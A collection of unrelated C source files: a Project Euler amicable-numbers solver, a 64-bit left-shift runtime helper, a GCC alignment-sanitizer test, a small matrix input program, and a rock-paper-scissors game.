#include <stdio.h> /* Amicable numbers Problem 21 Let d(n) be defined as the sum of proper divisors of n (numbers less than n which divide evenly into n). If d(a) = b and d(b) = a, where a ≠ b, then a and b are an amicable pair and each of a and b are called amicable numbers. For example, the proper divisors of 220 are 1, 2, 4, 5, 10, 11, 20, 22, 44, 55 and 110; therefore d(220) = 284. The proper divisors of 284 are 1, 2, 4, 71 and 142; so d(284) = 220. Evaluate the sum of all the amicable numbers under 10000. */ #define TargetAmicableNumber (10000) #define ProperDivisorsResultsSize ((TargetAmicableNumber)/2) #define ProperDivisorsStop 0 #define BOOL char #define FALSE (0) void reset_array_to(int i, int* arr, int count); int* get_proper_divisors(int n, int* result); int sum_of_ints(const int* array, int stop); void P21Solver() { printf("Project-Euler-Solver, Problem 21, Amicable numbers (2018-08-27)\n"); printf("Language: Ansi-C, compiled with 'Microsoft (R) C/C++ Optimizing Compiler Version 19.15.26726 for x86'\n\n\n"); int properDivisorsResults[ProperDivisorsResultsSize]; int sumOfAmicableNumbers[TargetAmicableNumber + 1]; reset_array_to(0, sumOfAmicableNumbers, TargetAmicableNumber); printf("---| Starting tests |-------------------------\n"); start_tests(properDivisorsResults); printf("**************************************************\n\n"); printf("---| Evaluating the sum of all the amicable numbers under %d |-------------------------\n", TargetAmicableNumber); int i; for (i = 2; i < TargetAmicableNumber + 1; i++) { get_proper_divisors(i, properDivisorsResults); const int properDivisorsSum = sum_of_ints(properDivisorsResults, ProperDivisorsStop); sumOfAmicableNumbers[i] = properDivisorsSum; } printf("**************************************************\n"); printf("\n"); int sumOfTargetAmicableNumber = 0; for (i = 2; i < TargetAmicableNumber + 1; i++) { const int sumAtIndex = sumOfAmicableNumbers[i]; if (sumAtIndex > TargetAmicableNumber) continue; if (sumAtIndex == i) continue; if (sumOfAmicableNumbers[sumOfAmicableNumbers[i]] == i) { sumOfTargetAmicableNumber += sumAtIndex; printf("[%d, %d]=%d\n", i, sumAtIndex, sumOfAmicableNumbers[sumAtIndex]); } } printf("The sum of all the amicable numbers under %d is %d\n", TargetAmicableNumber, sumOfTargetAmicableNumber); } int sum_of_ints(const int* array, int stop) { int sum = 0; for (int i = 0; array[i] != stop; i++) sum += array[i]; return sum; } int* get_proper_divisors(int n, int* result) { int dividor = 1; int resultIndex = 0; while (dividor <= (n / 2)) { if ((n % (dividor)) == 0) result[resultIndex++] = dividor; dividor++; } result[resultIndex] = ProperDivisorsStop; return result; } void start_tests(int* properDivisorsResults) { get_proper_divisors(220, properDivisorsResults); printf("Proper Divisors of 220: "); for (int i = 0; properDivisorsResults[i] != ProperDivisorsStop; i++) printf("%d, ", properDivisorsResults[i]); printf("\n"); printf("TEST: Compare with '1, 2, 4, 5, 10, 11, 20, 22, 44, 55 and 110'\n"); printf("\n"); const int properDivisorsSum = sum_of_ints(properDivisorsResults, ProperDivisorsStop); printf("ProperDivisorsSum of 220 is %d\n", properDivisorsSum); printf("TEST: Compare with 284\n"); } /* consule output: [220, 284]=220 [284, 220]=284 [1184, 1210]=1184 [1210, 1184]=1210 [2620, 2924]=2620 [2924, 2620]=2924 [5020, 5564]=5020 [5564, 5020]=5564 [6232, 6368]=6232 [6368, 6232]=6368 The sum of all the amicable numbers under 10000 is 31626 [correct!!] */
the_stack_data/683735.c
/** * Copyright 2014-2016 CyberVision, Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include <inttypes.h> uint64_t __ashldi3(uint64_t a, int b) { if (b <= 0 ) { return a; } if (b >= 64) { return 0; } uint32_t aLow = (uint32_t) a; uint32_t aHigh = (uint32_t) (a >> 32); if (b >= 32) { aHigh = (aLow << b); aLow = 0; } else { aHigh = (aHigh << b) + (aLow >> (32 - b)); aLow = (aLow << b); } return ((uint64_t) aHigh << 32) + aLow; }
the_stack_data/42407.c
/* Limit this to known non-strict alignment targets. */ /* { dg-do run { target { i?86-*-linux* x86_64-*-linux* } } } */ /* { dg-options "-O -fsanitize=alignment -fsanitize-recover=alignment" } */ struct S { int a; char b; long long c; short d[10]; }; struct T { char a; long long b; }; struct U { char a; int b; int c; long long d; struct S e; struct T f; } __attribute__((packed)); struct V { long long a; struct S b; struct T c; struct U u; } v; __attribute__((noinline, noclone)) int foo (struct S *p) { volatile int i; i = p->a; i = p->a; i = p->a; i = p->a; return p->a; } int main () { if (foo (&v.u.e)) __builtin_abort (); return 0; } /* { dg-output "\.c:14:\[0-9]*: \[^\n\r]*member access within misaligned address 0x\[0-9a-fA-F]* for type 'struct S', which requires \[48] byte alignment.*" } */ /* { dg-output "\.c:15:\[0-9]*: \[^\n\r]*member access within misaligned address 0x\[0-9a-fA-F]* for type 'struct S', which requires \[48] byte alignment.*" } */ /* { dg-output "\.c:16:\[0-9]*: \[^\n\r]*member access within misaligned address 0x\[0-9a-fA-F]* for type 'struct S', which requires \[48] byte alignment.*" } */ /* { dg-output "\.c:17:\[0-9]*: \[^\n\r]*member access within misaligned address 0x\[0-9a-fA-F]* for type 'struct S', which requires \[48] byte alignment.*" } */ /* { dg-output "\.c:18:\[0-9]*: \[^\n\r]*member access within misaligned address 0x\[0-9a-fA-F]* for type 'struct S', which requires \[48] byte alignment" } */
the_stack_data/65341.c
#include<stdio.h> int main() { int n,m,i,j,arr[111],k=0,r,p=0,t=1; while(scanf("%d%d",&n,&m) !=EOF) { for(i=0; i<n; i++) { for(j=0; j<m; j++) { scanf("%d",&arr[j]); if(arr[j]!=0) { k++; } else { r=0; } } if(m==k) { p++; } else { r=0; } k=0; } if(p!=0) { printf("%d\n",p); } else { printf("%d\n",r); } p=0; } return 0; }
the_stack_data/535118.c
/*plays rock paper scisscors with user and ai * Ary Wilson * 1/28 */ #include <stdlib.h> #include <stdio.h> #include <string.h> #include <time.h> #include <ctype.h> /* * performs a singl game of rock paper scissors * tracks user input and ai generated plays * takes a pointer input to keep track of score * prints associated data */ void doGame(int *userScore, int *aiScore){ char choice[64]; int aiC = rand()%3; char aiChoice[10]; int aiRock = (aiC == 0); int aiPaper = (aiC == 1); int aiSciss = (aiC == 2); if(aiC == 0){ strcpy(aiChoice,"rock"); }else if (aiC == 1){ strcpy(aiChoice,"paper"); }else { strcpy(aiChoice, "scissors"); } printf("Which do you choose? rock, paper, or scissors? "); scanf("%s",choice); printf("\n"); for(int i =0; i<strlen(choice);i++){ choice[i] = tolower((unsigned char) choice[i]); } int userRock = (strcmp(choice,"rock")==0); int userPaper = (strcmp(choice,"paper")==0); int userSciss = (strcmp(choice,"scissors")==0); printf("AI chose %s \n",aiChoice); if(strcmp(choice,aiChoice)==0){ printf("It's a tie \n"); } else if(aiRock && userSciss){ *aiScore = *aiScore + 1; printf("Rock bashes scissors \n"); } else if (aiRock && userPaper){ *userScore = *userScore +1; printf("Paper covers rock \n"); } else if (aiPaper && userSciss){ *userScore= *userScore+1; printf("Scissors cut paper \n"); } else if (aiPaper && userRock){ *aiScore=*aiScore +1; printf("Paper covers rock \n"); } else if (aiSciss && userPaper){ *aiScore =*aiScore +1; printf("Scissors cut paper \n"); } else if (aiSciss && userRock){ *userScore=*userScore +1; printf("Rock bashes scissors \n"); } else { printf("You entered an invalid choice: %s \n",choice); } printf("AI score: %i, Player score: %i \n",*aiScore,*userScore); return; } /* * sets seed for random number generater * takes user input for the number of rounds * calls doGame() in a for loop based on user input * initializes int pointers to keep track of score across for loop * */ int main() { srand(time(0)); int rounds; printf("Welcome to Rock, Paper, Scissors!\n"); printf("How many rounds do you want to play? "); scanf("%i",&rounds); printf("\n"); int userScore; int aiScore; userScore =0; aiScore =0; for(int i = 0;i<rounds;i++){ doGame(&userScore,&aiScore); } return 0; }